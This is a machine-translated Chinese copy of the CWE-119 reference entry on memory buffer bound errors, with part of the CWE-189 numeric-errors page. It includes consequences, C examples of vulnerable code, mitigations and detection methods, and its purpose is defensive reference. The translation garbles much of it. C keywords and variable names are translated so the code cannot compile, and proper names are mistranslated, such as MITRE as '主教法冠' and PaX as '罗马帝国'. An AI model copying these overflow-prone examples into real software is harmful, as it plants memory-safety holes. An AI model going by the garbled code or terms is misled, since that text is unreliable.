部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 120年 缓冲区复制没有检查输入的大小(经典的缓冲区溢出)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 123年 Write-what-where条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 125年 禁止入内的读
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 130年 处理不当的长度参数不一致
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 786年 之前访问的内存位置缓冲区的开始
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 787年 禁止入内的写
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 788年 访问结束后的内存位置缓冲区
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 805年 缓冲区长度值不正确的访问
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 822年 不可信的指针
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 823年 超出范围的使用指针偏移量
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 824年 访问未初始化的指针
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 825年 过期的指针
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及数据保护措施”(cwe - 1340)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 120年 缓冲区复制没有检查输入的大小(经典的缓冲区溢出)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 123年 Write-what-where条件
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 125年 禁止入内的读
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 130年 处理不当的长度参数不一致
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 786年 之前访问的内存位置缓冲区的开始
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 787年 禁止入内的写
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 788年 访问结束后的内存位置缓冲区
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 805年 缓冲区长度值不正确的访问
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 822年 不可信的指针
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 823年 超出范围的使用指针偏移量
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 824年 访问未初始化的指针
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 825年 过期的指针
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“七有害的王国”(cwe - 700)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 20. 不正确的输入验证
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

C(通常是普遍的)

c++(通常是普遍的)

类:装配患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
完整性
保密
可用性

技术的影响:执行未经授权的代码或命令;修改内存

如果攻击者可访问的内存可以有效地控制,它可能会运行任意代码的情况,与一个标准的缓冲区溢出。如果攻击者可以覆盖一个指针的内存(通常是32位或64位),他们可以重定向一个函数指针指向自己的恶意代码。即使攻击者只能修改单个字节可以任意代码执行成为可能。有时这是因为同样的问题可以重复利用同样的效果。有时因为攻击者可以覆盖强调安全的特定于应用程序的数据——比如一个标志指示是否管理员用户。
可用性
保密

技术的影响:读记忆;DoS:崩溃,退出或重新启动;DoS:资源消耗(CPU);DoS:资源消耗(内存)

越限的内存访问很可能导致腐败相关的记忆,或许说明,可能导致崩溃。其他的攻击导致缺乏可用性是可能的,包括把程序进入一个无限循环。
保密

技术的影响:读记忆

在一个界外阅读的情况下,攻击者可能对敏感信息的访问。如果敏感信息包含系统的细节,比如当前缓冲区位置在内存中,这方面的知识可用于工艺进一步袭击,可能带来更严重的后果。
+利用的可能性
+示范例子

示例1

这个例子将IP地址从一个用户,验证它是完整的,然后查找主机名和拷贝到缓冲区。

(坏的代码)
例如语言:C
空白host_lookup (char * user_supplied_addr) {
struct hostent *惠普;
in_addr_t * addr;
char主机名[64];
in_addr_t inet_addr (const char * cp);

/ *程序确保user_supplied_addr是正确的格式转换* /

validate_addr_form (user_supplied_addr);
addr = inet_addr (user_supplied_addr);
惠普= gethostbyaddr (addr, sizeof (struct in_addr) AF_INET);
strcpy(主机名、hp - > h_name);
}

这个函数分配64字节的缓冲区存储主机名,但是没有保证主机名不能超过64字节。如果攻击者指定一个地址解析为一个非常大的主机名,那么该函数会覆盖敏感数据,甚至放弃攻击者的控制流。

注意,本例中还包含一个未检查返回值(cwe - 252)能导致一个空指针(cwe - 476)。

示例2

这个例子中一个编码过程适用于一个输入字符串并将其存储到缓冲区。

(坏的代码)
例如语言:C
char * copy_input (char * user_supplied_string) {
int i, dst_index;
char * dst_buf = (char *) malloc (4 * sizeof (char) * MAX_SIZE);
如果(MAX_SIZE < = strlen (user_supplied_string)) {
死亡(“用户字符串太长,死亡邪恶的黑客!”);
}
dst_index = 0;
(我= 0;我< strlen (user_supplied_string);我+ +){
如果(' & ' = = user_supplied_string[我]){
dst_buf (dst_index + +) = ' & ';
dst_buf (dst_index + +) = ' a ';
dst_buf [dst_index + +] =“m”;
dst_buf [dst_index + +] =“p”;
dst_buf (dst_index + +) = '; ';
}
else if (' < ' = = user_supplied_string[我]){
/ * & lt编码;* /
}
其他dst_buf [dst_index + +] = user_supplied_string[我];
}
返回dst_buf;
}

程序员试图编码用户控制的&字符字符串,然而字符串的长度编码应用程序之前进行验证。此外,程序员假定编码扩张只会扩大给定字符的4倍,而编码&扩展的5。结果,当编码过程扩展了字符串可以溢出目的地缓冲区,如果攻击者提供了许多与符号的字符串。

示例3

下面的示例用户要求一个偏移量到一个数组中选择一个项目。

(坏的代码)
例如语言:C

int主要(int命令行参数个数,char * * argv) {
char *项目[]={“船”、“车”、“卡车”,“训练”};
int指数= GetUntrustedOffset ();
printf(“你选择% s \ n”,项目[索引1]);
}

程序员允许用户指定的元素列表中选择,但是攻击者可以提供一个界外偏移,导致缓冲区上(cwe - 126)。

示例4

在以下代码,方法检索一个值在一个特定的数组索引数组位置作为输入参数的方法

(坏的代码)
例如语言:C
int getValueFromArray (int *数组,int len, int指数){

int值;

/ /检查数组下标小于最大

/ /数组的长度
如果(指数< len) {
/ /获取值的指定索引数组
值=数组(指数);
}
/ /如果数组索引无效则输出错误消息
/ /并返回值指示错误
其他{
printf(“价值:% d \ n”,阵列(指数));
值= 1;
}

返回值;
}

然而,这种方法只验证给定的数组下标小于数组的最大长度但不检查的最小值(cwe - 839)。这将允许一个负值被接受作为输入数组索引,这将导致一个界外读(cwe - 125),并可能允许访问敏感的记忆。输入数组索引应该检查来验证在最大和最小范围内所需的阵列(cwe - 129)。在这个例子中if语句应该修改为包括一个最小范围检查,如下所示。

(好的代码)
例如语言:C



/ /检查数组索引内是正确的

/ /数组的值的范围
如果(指数> = 0 & &指数< len) {

示例5

Windows提供了_mbs家庭多字节字符串的函数来执行各种操作。当这些功能是通过了一个畸形的多字节字符串,如一个字符串包含一个有效的领导由单个零字节,字节之后他们可以读或写过去的字符串缓冲区的结束导致缓冲区溢出。以下功能造成缓冲区溢出的风险:_mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

+观察到的例子
参考 描述
不正确的URI标准化应用程序流量产品导致缓冲区溢出,每中钢协KEV利用在野外。
缓冲区溢出的wi - fi路由器web界面,利用每中钢协KEV在野外。
经典的基于堆栈缓冲区溢出在媒体播放器在播放列表中使用长条目
基于堆的缓冲区溢出在媒体播放器在播放列表中使用长条目
大精度值的格式字符串触发溢出
负的偏移值导致界外阅读
畸形的输入导致访问未初始化或之前删除对象,导致内存泄露
链:缺乏同步会导致内存泄露
链:机器学习产品会出现基于堆的缓冲区溢出(cwe - 122)当一些integer-oriented界限计算通过使用地板天花板()和()在浮点值(cwe - 1339)
attacker-controlled数组索引会导致代码的执行
从函数调用链:1值是为了表明一个错误,而是用作数组索引。
链:错误的计算导致错误的指针和内存腐败
产品接受的消息,导致一个任意的指针废弃
链:畸形的输入导致引用未初始化的内存
操作系统内核信托userland-supplied长度值,使阅读的敏感信息
链:整数溢出securely-coded邮件程序会导致缓冲区溢出。在2005年,这被认为是不切实际的利用,但在2020年,它被重新发现更容易利用由于技术的演进。
缓冲区溢位涉及一个正则表达式与大量的捕捉
链:未经检查的消息大小的元数据允许整数溢出(cwe - 190)导致缓冲区溢出(cwe - 119)。
+潜在的缓解措施

阶段:需求

策略:语言选择

使用一种语言,不允许这个弱点或发生提供了结构,使这个弱点更容易避免的。

例如,执行自己的内存管理的多种语言,比如Java和Perl,不受缓冲区溢出。其他语言,比如Ada和c#,通常提供溢出保护,但保护由程序员可以禁用。

警惕,语言的接口本地代码仍有可能溢出,即使语言本身在理论上是安全的。

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

例子包括安全C字符串库(SafeStr)通过混乱和Viega [REF-57),和Strsafe系列。h图书馆从微软(REF-56]。这些库提供的安全版本overflow-prone字符串处理函数。

注意:这不是一个完整的解决方案,因为许多缓冲区溢出是不相关的字符串。

阶段:构建和编译

策略:编译和构建硬化

使用功能或运行或编译软件扩展自动提供一个保护机制,减轻或消除缓冲区溢出。

例如,某些编译器和扩展提供自动缓冲区溢出检测机制,构建到编译后的代码。例子包括Microsoft Visual Studio / GS标志,Fedora / Red Hat FORTIFY_SOURCE GCC国旗,StackGuard, ProPolice。

有效性:深度防御

注意:这未必是一个完整的解决方案,因为这些机制只能检测某些类型的溢出。此外,仍有可能导致拒绝服务的攻击,因为典型的反应是退出应用程序。

实施阶段:

考虑遵守以下规则,分配和管理应用程序的内存:

  • 双重检查指定的缓冲区一样大。
  • 当使用函数接受一个复制的字节数,如strncpy(),请注意,如果目的地缓冲区大小等于源缓冲区大小,不得NULL-terminate字符串。
  • 检查缓冲区边界如果访问缓冲区在一个循环中,确保没有危险的写作过去分配空间。
  • 如果有必要,所有输入字符串截断合理长度之前他们复制和连接功能。

阶段:操作

策略:环境硬化

使用功能或运行或编译软件扩展随机安排程序的可执行文件的位置和库在内存中。因为这使得地址不可预测的,它可以防止攻击者可利用的代码可靠地跳。

例子包括地址空间布局随机化(本)REF-58][REF-60和位置独立的可执行(派)ref - 64]。

有效性:深度防御

注意:这不是一个完整的解决方案。然而,它迫使攻击者猜测一个未知值,改变每一个程序执行。此外,仍有可能导致拒绝服务的攻击,因为典型的反应是退出应用程序。

阶段:操作

策略:环境硬化

使用一个CPU和操作系统提供数据执行保护(NX)或其等价的REF-60][ref - 61]。

有效性:深度防御

注意:这不是一个完整的解决方案,因为缓冲区溢位可以用来覆盖附近的变量以危险的方式修改软件的状态。此外,它不能用于变为无效来情况下,代码是必需的。最后,仍可能导致拒绝服务的攻击,因为典型的反应是退出应用程序。

实施阶段:

取代无限复制函数具有类似的功能,支持长度参数,如拷贝字符串strncpy。创建这些如果他们不是可用的。

有效性:温和

注意:这种方法仍然是容易计算错误,包括“从一开始”问题,如错误(cwe - 193)和错误地计算缓冲区长度(cwe - 131)。
+检测方法

自动静态分析

这个弱点常常可以发现使用自动静态分析工具。许多现代工具使用数据流分析或基于技术来减少假阳性的数量。

自动静态分析一般不占报告时的环境考虑禁止入内的内存操作。这可能很难让用户决定哪些应该首先调查警告。例如,一个分析工具可能会报告缓冲区溢出,来自命令行参数的程序不会运行setuid或其他特权。

有效性:高

注意:缓冲区错误检测技术更成熟比大多数其他类型的弱点。

自动动态分析

这个弱点能被探测到的使用动态交互的工具和技术的软件使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。软件的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制字节码质量分析
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:飙升部分

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:飙升部分

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 关注人工抽查,手动分析来源
  • 手工源代码审查(不检查)

有效性:飙升部分

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器
成本有效的部分报道:
  • 源代码质量分析仪

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+影响资源
  • 内存
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 726年 OWASP十大2004类别A5 -缓冲区溢出
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 740年 CERT C安全编码标准(2008)第七章-数组(ARR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 741年 CERT C安全编码标准(2008)第八章-字符和字符串(STR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 742年 CERT C安全编码标准(2008)第9章-内存管理(MEM)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 743年 CERT C安全编码标准(2008)第十章-输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 744年 CERT C安全编码标准(2008)第11章-环境(ENV)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 752年 2009年前25 -资源管理风险
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 874年 CERT c++安全编码部分06 -数组和STL (ARR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 875年 CERT c++安全编码部分07 -字符和字符串(STR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 876年 CERT c++安全编码部分08 -内存管理(MEM)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 877年 CERT c++安全编码部分09 -输入输出(FIO)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 878年 CERT c++安全编码部分10 -环境(ENV)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 970年 SFP二级集群:错误的缓冲区的访问
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1003年 弱点简化映射的漏洞发布
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1157年 SEI CERT C编码标准- 03指导方针。表达式(EXP)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1160年 SEI CERT C编码标准- 06指导方针。数组(ARR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1161年 07年SEI CERT C编码标准,指导方针。字符和字符串(STR)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1306年 方案及质量措施——可靠性
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1308年 方案及质量措施,安全
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1340年 方案及数据保护措施
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

适用的平台

可以在任何编程语言没有内存管理的支持尝试内存缓冲区的边界之外的一个操作,但后果将不同取决于语言,平台,和芯片架构。

+分类法映射
映射分类名称 节点ID 适合 映射节点名
OWASP十大2004 A5 确切的 缓冲区溢出
CERT C安全编码 ARR00-C 理解数组是如何工作的
CERT C安全编码 ARR30-C CWE更抽象 不形式或使用界外指针或数组下标吗
CERT C安全编码 ARR38-C CWE更抽象 保证库函数并不会形成无效的指针
CERT C安全编码 ENV01-C 不要假设一个环境变量的大小呢
CERT C安全编码 EXP39-C 不精确的 不通过指针访问一个变量的不兼容的类型
CERT C安全编码 FIO37-C 不承担字符数据被读取
CERT C安全编码 STR31-C CWE更抽象 保证存储字符串为字符数据有足够的空间和零终结者
CERT C安全编码 STR32-C CWE更抽象 不通过non-null-terminated字符序列库函数,期望一个字符串
WASC 7 缓冲区溢出
软件故障模式 SFP8 错误的缓冲区的访问
+引用
(ref - 1029)一个。“砸堆栈为了好玩和利润”。1996-11-08。<http://phrack.org/issues/49/14.html>。
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第五章,“公敌# 1:缓冲区溢出”127页;14章,“防止I18N缓冲区溢出”441页。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
[REF-56]微软。使用Strsafe系列”。h函数”。<http://msdn.microsoft.com/en-us/library/ms647466.aspx>。
[REF-57]马特混乱和约翰Viega。“安全C字符串库v1.0.3”。<http://www.zork.org/safestr/>。
(REF-58)迈克尔·霍华德。在Windows Vista“地址空间布局随机化”。<http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>。
van de Ven [REF-59]阿扬。“限制与ExecShield缓冲区溢出”。<http://www.redhat.com/magazine/009jul05/features/execshield/>。
[REF-60]“罗马帝国”。<http://en.wikipedia.org/wiki/PaX>。
微软(ref - 61)。第1部分“理解DEP作为缓解技术”。<http://blogs.technet.com/b/srd/archive/2009/06/12/understanding dep - - -缓解-技术- 1. aspx一部分>。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第五章,“内存泄露”,167页。1版。艾迪生卫斯理》2006。
墨菲(ref - 64)资助。“位置独立的可执行文件(派)”。Red Hat。2012-11-28。<https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新描述关系,Taxonomy_Mappings
2008-10-14 CWE内容团队 主教法冠
更新的关系
2008-11-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Demonstrative_Examples Likelihood_of_Exploit,名字,Potential_Mitigations引用关系
2009-03-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新Demonstrative_Examples
2009-07-27 CWE内容团队 主教法冠
更新Observed_Examples
2009-10-29 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Demonstrative_Examples、描述关系,Time_of_Introduction
2009-12-28 CWE内容团队 主教法冠
更新Common_Consequences、Demonstrative_Examples Detection_Factors Observed_Examples
2010-02-16 CWE内容团队 主教法冠
更新Alternate_Terms、Applicable_Platforms Demonstrative_Examples、Detection_Factors Potential_Mitigations,引用关系,Taxonomy_Mappings
2010-06-21 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2010-12-13 CWE内容团队 主教法冠
更新后的名字
2011-03-29 CWE内容团队 主教法冠
更新的关系
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences、人际关系
2011-09-13 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Demonstrative_Examples Potential_Mitigations、引用关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-02-21 CWE内容团队 主教法冠
更新Demonstrative_Examples
2014-02-18 CWE内容团队 主教法冠
更新Potential_Mitigations,引用
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、关系、Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新的关系
2017-05-03 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Demonstrative_Examples Observed_Examples,引用关系,Taxonomy_Mappings
2018-03-27 CWE内容团队 主教法冠
更新的引用
2019-01-03 CWE内容团队 主教法冠
更新的关系
2019-06-20 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2019-09-19 CWE内容团队 主教法冠
更新引用关系
2020-02-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings Time_of_Introduction
2020-06-25 CWE内容团队 主教法冠
更新的关系
2020-08-20 CWE内容团队 主教法冠
更新Alternate_Terms、人际关系
2020-12-10 CWE内容团队 主教法冠
更新Alternate_Terms Observed_Examples,关系
2021-07-20 CWE内容团队 主教法冠
更新Demonstrative_Examples Observed_Examples Potential_Mitigations,关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2023-01-31 CWE内容团队 主教法冠
更新Alternate_Terms、描述
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 缓冲区的错误
2009-01-12 未能限制操作的范围内一个分配的内存缓冲区
2010-12-13 未能限制操作的范围内一个内存缓冲区

CWE类别:数字错误

类别ID: 189
+总结
这一类的弱点有关不当或转换的数字计算。
+会员
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 699年 软件开发
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1182年 04 SEI CERT Perl编码标准,指导方针。整数(INT)
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 128年 环绕式处理错误
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 190年 整数溢出或概括的
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 191年 整数下溢(包装或概括)
HasMember 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 192年 整数强制错误
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 193年 错误
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 197年 数字截断误差
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 198年 使用不正确的字节顺序
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 369年 除以零
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 681年 不正确的数值类型之间的转换
HasMember 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 839年 没有最低检查数字范围比较
HasMember 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 1077年 浮点数与不正确的操作符
